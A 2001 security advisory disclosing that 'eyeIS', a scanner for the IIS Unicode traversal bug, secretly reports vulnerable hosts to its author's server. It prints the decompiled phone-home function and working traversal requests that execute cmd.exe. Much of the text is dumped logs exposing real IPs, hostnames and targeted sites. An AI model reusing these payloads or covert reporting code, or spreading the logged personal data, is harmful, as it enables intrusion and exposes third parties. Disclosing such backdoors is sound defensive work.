http://ntsec.aidasystems.com/Eyeis_unrevealed.txt ____________________________________________________________________________ ____ NtWaK0, www.versalys.com SecurHack Manipulat0r, www.aidasystems.com Labs Security Advisory 2001-04-05 Distributed Exploitation of common Vulnerabilities (DEV) ____________________________________________________________________________ ____ Topic: ____________________________________________________________________________ ____ EyeIS security tool unrevealed. Good example of Distributed Exploitation of common Vulnerabilities, employing a backdoor in what's supposedly called a "Security Paranoid Tool" Snoop on them like they snoop on you! Vendor: ____________________________________________________________________________ ____ ParSec (also known as "Paranoid Security") http://www.dforce.nl/~noid/main.htm Category: ____________________________________________________________________________ ____ A new type of Backdoor, an example of what we call: Distributed Exploitation of common Vulnerabilities (DEV) Risk: ____________________________________________________________________________ ____ High Affects: ____________________________________________________________________________ ____ Anyone who runs eyeIS 0.99 (and possibly all earlier versions) to test their server or anyone who tries to gain unauthorized access to an NT/Win2k server that is vulnerable to the commonly exploited Unicode exploit. As of today, only a win95/98/NT/2k version is available. Linux release was expected to be released soon. We currently do not know if the linux version is or was intended to be backdoored also. Corrected: ____________________________________________________________________________ ____ As of today, we do not know of any version of eyeIS that are not backdoored. Background: ____________________________________________________________________________ ____ We recently discovered about a new tool that exploits the infamous unicode bug in IIS 4.0/5.0. This tool is named eyeIS (presumably pronounced as IIS; hence the vulnerable exploited daemons IIS 4.0 and IIS 5.0 in Microsoft Windows NT 4.0 Server and Windows 2000 Server/Advanced Server. The author describes the tool as:"eyeIS is a tool developed by parSec that allows you to test your servers for the new Directory Traversal Vulnerability and try different types of commands and attacks to protect your server as good as possible" Well it does inform you if it is vulnerable. But it also informs the author of your vulnerable server and it's address. I wonder why?!! By the time an average administrator researches on this vulnerability and locates the patch/fix, his server(s) have been already compromised by (most likely) an automatic malicious program/tool running on the author's remote server that is processing the received vulnerable server information. Not only is this illegal, but we also discovered that the information was completely exposed and available for other hackers to exploit. The program, when ran, checks to see if the server is vulnerable, then informs the user in the program window, and in the background, it sends the same information to a url (that the author hard coded inside the program): http://www.dforce.nl/~noid/scripts/ax2.pl This url basically refers to a perl program/script that logs the information it received to a text file, also located in the web root folder, and as of the time of writing, both available to the public to read. That is how we confirmed this. We did not intrude the author's server nor did we ask them to participate in this unethical act. As far as the application itself, it is isn't much of a very fancy tool. It only exploits, as previously mentioned, a commonly exploited hole in MS IIS 4/5 servers. The only thing we saw it good for is a Graphical User Interface to people who lack the skill and the knowledge to break in a system (script kiddies) using this technique (although it is easily exploitable from very simple command line tools) Using a dos shell and/or telnet program, you can simply telnet to the server in doubt on port 80 (the default HTTP port), and issue a simple get command that will determine if the server is vulnerable or not. As from decompiling the program (JAVA CLASS name Target.class), we see it does just that, nothing more: As Defined in the tool: strPath = "\\"; strDrive = ""; -------> Below you see the basic get command executed through the commonly present /scripts/ directory (as per default servers install): "GET /SCRIPTS/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/wi nnt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n" -------> Same as above, just tests for /msadc/ directory, if the earlier isn't in default location or has been removed: GET /MSADC/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winn t/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n" -------> Same, /IISADMPWD/ as the directory this time: As you can see, simple command line tools such as netcat/telnet command could be easily used to do the same thing. GET /IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/ winnt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n" GET /CGI-BIN/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/wi nnt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n" GET /WWWROOT/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/wi nnt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n" GET /_VTI_BIN/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/w innt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n" Well, not only that. If you changed your configuration around, the program will report a false result, SERVER NOT VULNERABLE, while you really are still VULNERABLE and need to patch/upgrade your installation. Here is the dirty little function that sends the information you found to the author: ____________________________________________________________________________ ____ --- It's time to snoop on them like they sn00p on us :) ------------------------- ____________________________________________________________________________ ____ public void logCommand() { URL url = null; try { url = new URL("http://www.dforce.nl/~noid/scripts/ax2.pl?" + strHost); } catch(MalformedURLException malformedurlexception) { System.out.println(malformedurlexception); } try { url.openStream(); url.openConnection(); } catch(IOException _ex) { } } ____________________________________________________________________________ ____ ____________________________________________________________________________ ____ The windump logs proof ____________________________________________________________________________ ____ 1. We ran windump prior to starting the application. 2. Start the "Security Paranoid" eyeIS tool 3. Put in a webserver address that you suspect vulnerable 4. Click connect At this point, the program will test the host for vulnerability. If the host is not vulnerable, I believe the information will be ignored and will not be sent to the secret server. However, if the server IS vulnerable, the information gets sent in details. Here is the windump that you would see, would look something like: 07:36:41.814808 yourmachine.1080 > 213.196.37.50.80: . ack 1 win 17520 (DF) 07:36:41.829723 yourmachine.1080 > 213.196.37.50.80: P 1:184(183) ack 1 win 17520 (DF) 07:36:42.509576 yourmachine.1081 > 213.196.37.50.80: . ack 851 win 16671 (DF) 07:36:42.512369 yourmachine.1081 > 213.196.37.50.80: F 177:177(0) ack 851 win 16671 (DF) At first, I tried nslookup on 213.196.37.50, but it didn't resolve to anything (Misconfigured DNS?). But then we found www.dforce.nl in the logs. Doing nslookup on www.dforce.nl does, however, report 213.196.37.50 Someone's in trouble :) The logs we found (at the time of writing) are located at the following locations: http://www.dforce.nl/~noid/scripts/tracker.jpg http://www.dforce.nl/~noid/scripts/efxcdmnopr.txt http://www.dforce.nl/~noid/scripts/axs.dat http://www.dforce.nl/~noid/scripts/ax2.pl http://www.dforce.nl/~noid/scripts/log.txt http://www.dforce.nl/~noid/scripts/ax.pl http://www.dforce.nl/~noid/scripts/ As of yet, we noticed some files have been hidden and permissions on them were fixed. Thus not viewable anymore by the public. However, we will give you just a portion of what we found, enough to prove the point we are trying to make. We had a chance to get the files and logs before they were hidden! :) ____________________________________________________________________________ ____ =================================Inside the files=============================== ____________________________________________________________________________ ____ ____________________________________________________________________________ ____ ax2.pl You cannot see what's inside, simply because the file is executed as a program and it does not report anything to STDOUT (web browser). All it does is log the information it received to file. We can guess the file contains something like: 1. Data parsing function to reform the data received 2. Another function that rearranges the data and assigns it to an array 3. Store each array received to file in the following simple format: ____________________________________________________________________________ ____ axs.dat AuthIP|62.178.18.195| Filter|| HideDefaultDoc|CHECKED| HidePoundSigns|CHECKED| Highlight|CHECKED| MaxWidth|400| NewWindow|CHECKED| NumSort|CHECKED| UseMilTime|| end_date|| format|Sort All by Time| last_number|2001094| last_number_temp|2001095| last_string|April 5, 2001| last_string_temp|April 6, 2001| maximum|| recent|| s01|| s02|| s03|CHECKED| s04|| s05|| s06|CHECKED| s07|CHECKED| s08|| s09|| s10|| s11|| s12|| s13|| s14|| s15|| since_last|| start_date|| ____________________________________________________________________________ ____ Inside efxcdmnopr.txt that was on 5-4-2001 so the file now Must be BIGGER WE believe the format used is as follows: |attacker-host-name|attacker-ip||victim-host|somethings-go-here| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||ywreq1|Java1.2.1|1 7|24|18|6|3|101|5|95|export| |209.135.126.147|209.135.126.147||www.teknion.com|Java1.1.8|29|25|18|6|3|101 |5|95|export| |209.135.126.147|209.135.126.147||www.teknion.com|Java1.1.8|12|29|18|6|3|101 |5|95|export| |209.135.126.147|209.135.126.147||www.teknion.com|Java1.1.8|3|31|18|6|3|101| 5|95|export| |lat-0124.dial.barrysworld.com|213.221.160.125||www.tempo.co.uk|Java1.1.8|52 |37|18|6|3|101|5|95|export| |lat-0124.dial.barrysworld.com|213.221.160.125||www.alpnet.com|Java1.1.8|50| 39|18|6|3|101|5|95|export| |lat-0124.dial.barrysworld.com|213.221.160.125||www.alpnet.com|Java1.1.8|3|4 0|18|6|3|101|5|95|export| |208.136.120.1|208.136.120.1||10.0.17.2|Java1.1.8|46|43|18|6|3|101|5|95|expo rt| |208.136.120.1|208.136.120.1||tran|Java1.1.8|4|52|18|6|3|101|5|95|export| |208.136.120.1|208.136.120.1||richardh|Java1.1.8|3|54|18|6|3|101|5|95|export | |208.136.120.1|208.136.120.1||10.0.17.8|Java1.1.8|11|55|18|6|3|101|5|95|expo rt| |208.136.120.1|208.136.120.1||thomas|Java1.1.8|14|56|18|6|3|101|5|95|export| |208.136.120.1|208.136.120.1||rpofiles01.rponline.com|Java1.1.8|8|58|18|6|3| 101|5|95|export| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||ywreq1|Java1.3.0|4 5|59|18|6|3|101|5|95|export| |lat-0124.dial.barrysworld.com|213.221.160.125||www.lottery.co.uk|Java1.1.8| 36|5|19|6|3|101|5|95|export| |209.135.126.147|209.135.126.147||www.teknion.com|Java1.1.8|39|8|19|6|3|101| 5|95|export| |208.136.120.1|208.136.120.1||10.0.17.20|Java1.1.8|52|8|19|6|3|101|5|95|expo rt| |208.136.120.1|208.136.120.1||roger|Java1.1.8|37|13|19|6|3|101|5|95|export| |208.136.120.1|208.136.120.1||rpoexc01|Java1.1.8|18|15|19|6|3|101|5|95|expor t| |lat-0124.dial.barrysworld.com|213.221.160.125||www.alpnet.com|Java1.1.8|57| 17|19|6|3|101|5|95|export| |200.190.26.88|200.190.26.88||WWW.JESUSFORGIVES.COM|Java1.3.0|31|27|19|6|3|1 01|5|95|export| |hse-mtl-ppp73578.qc.sympatico.ca|64.229.205.117||www.ruffryders.com|Java1.1 .8|18|28|19|6|3|101|5|95|export| |adsl-61-102-4.mem.bellsouth.net|208.61.102.4||www.go.com|Java1.1.8|23|28|19 |6|3|101|5|95|export| |c999460-d.alntn1.tx.home.com|24.15.255.162||www.bluetoaster.net|Java1.1.8|3 4|30|19|6|3|101|5|95|export| |c999460-d.alntn1.tx.home.com|24.15.255.162||www.bluetoaster.net|Java1.1.8|1 2|31|19|6|3|101|5|95|export| |208.136.120.1|208.136.120.1||tran|Java1.1.8|0|33|19|6|3|101|5|95|export| |208.136.120.1|208.136.120.1||tran|Java1.1.8|40|33|19|6|3|101|5|95|export| |adsl-61-102-4.mem.bellsouth.net|208.61.102.4||www.naets.org|Java1.1.8|53|33 |19|6|3|101|5|95|export| |200.190.26.88|200.190.26.88||www.jesusforgives.com|Java1.3.0|30|38|19|6|3|1 01|5|95|export| |station4.govwentworth.k12.nh.us|208.133.216.4||www.jesusforgives.com|Java1. 1.8|38|47|19|6|3|101|5|95|export| |async61.dialup.etr.ru|212.30.190.188||www.ntsomz.ru|Java1.1.8|40|52|19|6|3| 101|5|95|export| |station4.govwentworth.k12.nh.us|208.133.216.4||www.jesusforgives.com|Java1. 1.8|8|55|19|6|3|101|5|95|export| |208.136.120.1|208.136.120.1||rpoexc01|Java1.1.8|50|0|20|6|3|101|5|95|export | |209.135.126.147|209.135.126.147||www.canada.com|Java1.1.8|50|5|20|6|3|101|5 |95|export| |208.136.120.1|208.136.120.1||rpoexc01|Java1.1.8|4|6|20|6|3|101|5|95|export| |208.136.120.1|208.136.120.1||rpobatch01|Java1.1.8|16|12|20|6|3|101|5|95|exp ort| |208.136.120.1|208.136.120.1||ricdata01|Java1.1.8|54|12|20|6|3|101|5|95|expo rt| |63.161.35.2|63.161.35.2||www.nuco.com|Java1.1.8|45|13|20|6|3|101|5|95|expor t| |wccp3.bendcable.com|216.228.161.22||www.visa.com|Mozilla/5.5 [en] (X11; I; Linux 2.2.9 i686)|13|15|20|6|3|101|5|95|export| |63.161.35.2|63.161.35.2||www.nuco.com|Java1.1.8|42|15|20|6|3|101|5|95|expor t| |208.136.120.1|208.136.120.1||toanh|Java1.1.8|49|15|20|6|3|101|5|95|export| |wccp3.bendcable.com|216.228.161.22||http://www.dforce.nl/~noid/scripts/ax2. pl|Mozilla/5.5 [en] (X11; I; Linux 2.2.9 i686)|16|16|20|6|3|101|5|95| |wccp3.bendcable.com|216.228.161.22||www.nsa.gov|Mozilla/5.5 [en] (X11; I; Linux 2.2.9 i686)|47|17|20|6|3|101|5|95|export| |63.161.35.2|63.161.35.2||www.nuco.com|Java1.1.8|44|19|20|6|3|101|5|95|expor t| |63.161.35.2|63.161.35.2||www.nuco.com|Java1.1.8|48|33|20|6|3|101|5|95|expor t| |host213-123-45-192.dialup.lineone.co.uk|213.123.45.192||www.jesusforgives.c om|Java1.3.0_01|29|22|21|6|3|101|5|95|export| |gwextclu.seagate.com|204.160.183.18||www.whitehouse.gov|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|21|26|21|6|3|101|5|95|export| |gwextclu.seagate.com|204.160.183.18||index.html|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|43|26|21|6|3|101|5|95|export| |gwextclu.seagate.com|204.160.183.18||http://www.dforce.nl/~noid/scripts/ax2 .pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|25|27|21|6|3|101|5|95| |200.190.26.88|200.190.26.88||www.grupotms.com.br|Java1.3.0|52|43|21|6|3|101 |5|95|export| |ns1.securesolutions.org|161.184.84.245||http://www.dforce.nl/~noid/scripts/ ax2.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|51|3|22|6|3|101|5|95| |ncache1.ford.com|136.1.1.101|http://www.dforce.nl/~noid/scripts/|http://www .dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.7 [en]C-CCK-MCD cf47 (Win98; I)|50|5|22|6|3|101|5|95| |216.106.223.226|216.106.223.226|http://www.dforce.nl/~noid/scripts/|http:// www.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)|33|8|22|6|3|101|5|95| |64.208.183.154|64.208.183.154|http://www.dforce.nl/~noid/scripts/|http://ww w.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|43|8|22|6|3|101|5|95| |validip.geac.com|159.172.13.72|http://www.dforce.nl/~noid/scripts/|http://w ww.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|49|11|22|6|3|101|5|95| |198.234.236.20|198.234.236.20|http://www.dforce.nl/~noid/scripts/|http://ww w.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.76 [en] (Win98; U)|49|12|22|6|3|101|5|95| |www.dccu.com|208.214.219.34|http://www.dforce.nl/~noid/scripts/|http://www. dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|56|12|22|6|3|101|5|95| |ppp187.vo.lu|212.24.192.202|http://www.dforce.nl/~noid/scripts/|http://www. dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.73 [de]C-CCK-MCD DT (Win98; U)|59|18|22|6|3|101|5|95| |ppp187.vo.lu|212.24.192.202|http://www.dforce.nl/~noid/scripts/|http://www. dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.73 [de]C-CCK-MCD DT (Win98; U)|45|19|22|6|3|101|5|95| |ool-18babf50.dyn.optonline.net|24.186.191.80|http://www.dforce.nl/~noid/scr ipts/|http://www.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|13|36|22|6|3|101|5|95| |a010-0931.mle2.splitrock.net|63.253.99.169||http://www.dforce.nl/~noid/scri pts/ax2.pl|Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Compaq)|9|38|22|6|3|101|5|95| |adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.derby.com|Java1.1.8|43|49|2 2|6|3|101|5|95|export| |63.145.165.226|63.145.165.226|http://www.dforce.nl/~noid/scripts/|http://ww w.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|13|55|22|6|3|101|5|95| |63.145.165.226|63.145.165.226||http://www.dforce.nl/~noid/scripts/ax2.pl|Mo zilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|20|55|22|6|3|101|5|95| |63.145.165.226|63.145.165.226||http://www.dforce.nl/~noid/scripts/ax2.pl|Mo zilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|26|55|22|6|3|101|5|95| |adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.floss.com|Java1.1.8|28|5|23 |6|3|101|5|95|export| |du-148-221-96-186.prodigy.net.mx|148.221.96.186||www.sd43.bc.ca|Java1.1.8|1 9|7|23|6|3|101|5|95|export| |adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.floss.com|Java1.1.8|12|8|23 |6|3|101|5|95|export| |adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.floss.com|Java1.1.8|46|11|2 3|6|3|101|5|95|export| |200.190.26.88|200.190.26.88||www.jesusforgives.com|Java1.3.0|31|17|23|6|3|1 01|5|95|export| |200.246.54.242|200.246.54.242||www.jesusforgives.com|Java1.1.8|46|17|23|6|3 |101|5|95|export| |ippool3.ppp-17.planetcomm.net|63.115.92.81||http://www.dforce.nl/~noid/scri pts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|27|20|23|6|3|101|5|95| |ippool3.ppp-17.planetcomm.net|63.115.92.81||http://www.dforce.nl/~noid/scri pts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|33|20|23|6|3|101|5|95| |ippool3.ppp-17.planetcomm.net|63.115.92.81||http://www.dforce.nl/~noid/scri pts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|34|20|23|6|3|101|5|95| |200.207.76.49|200.207.76.49||www.panasonic.se|Java1.1.8|39|35|23|6|3|101|5| 95|export| |adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.panasonic.se|Java1.1.8|21|4 0|23|6|3|101|5|95|export| |200.190.26.88|200.190.26.88||www.jesusforgives.com|Java1.3.0|6|49|23|6|3|10 1|5|95|export| ____________________________________________________________________________ ____ Inside log.txt This is only a PART of it because it is huge. If you are lucky and it has not been yet removed, you can see it at http://www.dforce.nl/~noid/scripts/log.txt |cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45|http://www.dforce.nl/~noid/sc ripts/|http://www.dforce.nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|57|36|23|4|3|101|3|93| |cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45||http://www.dforce.nl/~noid/s cripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|39|43|23|4|3|101|3|93| |cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45||http://www.dforce.nl/~noid/s cripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|39|43|23|4|3|101|3|93| |cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45||http://www.security.nl/|Mozi lla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|40|44|23|4|3|101|3|93|export| |cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45||http://www.security.nl/|Mozi lla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|29|45|23|4|3|101|3|93|export| |ippool2.ppp-19.planetcomm.net|63.115.92.51||http://www.security.nl/|Mozilla /4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|34|45|23|4|3|101|3|93|export| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce. nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|17|46|23|4|3|101|3|93| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce. nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|25|46|23|4|3|101|3|93| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce. nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|33|46|23|4|3|101|3|93| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce. nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|10|49|23|4|3|101|3|93| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce. nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|15|19|0|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce. nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|31|20|0|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|46|35|0|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|15|36|0|5|3|101|4|94| |ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/|http ://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|23|53|0|5|3|101|4|94| |port064254046130.terraworld.net|64.254.46.130|http://www.dforce.nl/~noid/|h ttp://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|14|54|0|5|3|101|4|94| |modem3.vigie.qc.ca|204.101.103.49|http://www.dforce.nl/~noid/|http://www.df orce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)|33|54|0|5|3|101|4|94| |ppp7-pool6c.dtmob.zebra.net|209.12.15.238|http://www.dforce.nl/~noid/|http: //www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)|46|54|0|5|3|101|4|94| |cn852231-a.jamison1.pa.home.com|65.2.14.246|http://www.dforce.nl/~noid/|htt p://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|59|54|0|5|3|101|4|94| |15dyn63.ztm.casema.net|212.64.114.63|http://www.dforce.nl/~noid/|http://www .dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; FreeSurf tmfweb.nl v1.0.1)|4|0|1|5|3|101|4|94| |15dyn63.ztm.casema.net|212.64.114.63|http://www.dforce.nl/~noid/|http://www .dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; FreeSurf tmfweb.nl v1.0.1)|22|1|1|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|0|4|1|5|3|101|4|94| |61.12.0.101|61.12.0.101|http://www.dforce.nl/~noid/|http://www.dforce.nl/~n oid/|Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90)|31|5|1|5|3|101|4|94| |cr965848-a.poco1.bc.wave.home.com|24.113.161.173|http://www.dforce.nl/~noid /|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|34|5|1|5|3|101|4|94| |nas-68-156.nyc-t.navipath.net|64.20.68.156|http://www.dforce.nl/~noid/|http ://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Compaq)|52|5|1|5|3|101|4|94| |208.30.222.14|208.30.222.14|||Mozilla/3.01 (compatible;)|1|6|1|5|3|101|4|94| |208.30.222.14|208.30.222.14|http://www.dforce.nl/~noid/|http://www.dforce.n l/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|2|6|1|5|3|101|4|94| |ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/|http ://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|14|12|1|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|11|37|1|5|3|101|4|94| |chello213047065202.11.univie.teleweb.at|213.47.65.202|http://www.dforce.nl/ ~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)|39|39|1|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|18|55|1|5|3|101|4|94| |cb269254-c.rmvll1.il.home.com|24.182.140.184|http://www.dforce.nl/~noid/|ht tp://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)|15|11|2|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|55|18|2|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|7|24|3|5|3|101|4|94| |chello213047125244.14.univie.teleweb.at|213.47.125.244|http://www.dforce.nl /~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|29|47|3|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|19|10|4|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|35|10|4|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|42|11|4|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|32|13|4|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|32|37|4|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|16|51|4|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|50|51|4|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|11|55|4|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|56|13|5|5|3|101|4|94| |ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/topba r.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|23|24|5|5|3|101|4|94| |ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/topba r.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|6|26|5|5|3|101|4|94| |ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/topba r.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|11|26|5|5|3|101|4|94| |ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/topba r.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|50|27|5|5|3|101|4|94| 